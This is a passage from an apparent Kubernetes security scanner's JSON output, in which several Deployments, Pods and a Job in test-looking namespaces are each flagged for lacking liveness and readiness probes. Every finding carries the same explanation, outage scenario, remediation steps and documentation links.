    "description": "Container `app` in `Deployment/vulnerable/host-ns-app` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "host-ns-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/host-ns-app`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/host-ns-app` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:vulnerable:risky-app:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/vulnerable/risky-app` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Deployment/vulnerable/risky-app` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "risky-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/risky-app`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/risky-app` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:vulnerable:root-runner:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/vulnerable/root-runner` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Deployment/vulnerable/root-runner` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "root-runner",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/root-runner`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/root-runner` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:vulnerable:socket-mounts-app:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/vulnerable/socket-mounts-app` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Deployment/vulnerable/socket-mounts-app` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "socket-mounts-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/socket-mounts-app`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/socket-mounts-app` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Pod:foothold-exec:foothold-decoy:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Pod/foothold-exec/foothold-decoy` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Pod/foothold-exec/foothold-decoy` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Pod",
      "name": "foothold-decoy",
      "namespace": "foothold-exec"
    },
    "namespace": "foothold-exec",
    "scope": {
      "level": "workload",
      "detail": "Workload `Pod/foothold-exec/foothold-decoy`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Pod/foothold-decoy` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Pod:foothold-exec:foothold-target:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Pod/foothold-exec/foothold-target` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Pod/foothold-exec/foothold-target` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Pod",
      "name": "foothold-target",
      "namespace": "foothold-exec"
    },
    "namespace": "foothold-exec",
    "scope": {
      "level": "workload",
      "detail": "Workload `Pod/foothold-exec/foothold-target`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Pod/foothold-target` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Job:gw-workloads:gw-batch:batch",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `batch` in `Job/gw-workloads/gw-batch` has neither a liveness nor a readiness probe",
    "description": "Container `batch` in `Job/gw-workloads/gw-batch` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Job",
      "name": "gw-batch",
      "namespace": "gw-workloads",
      "api_group": "batch"
    },
    "namespace": "gw-workloads",
    "scope": {
      "level": "workload",
      "detail": "Workload `Job/gw-workloads/gw-batch`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Job/gw-batch` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "batch",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
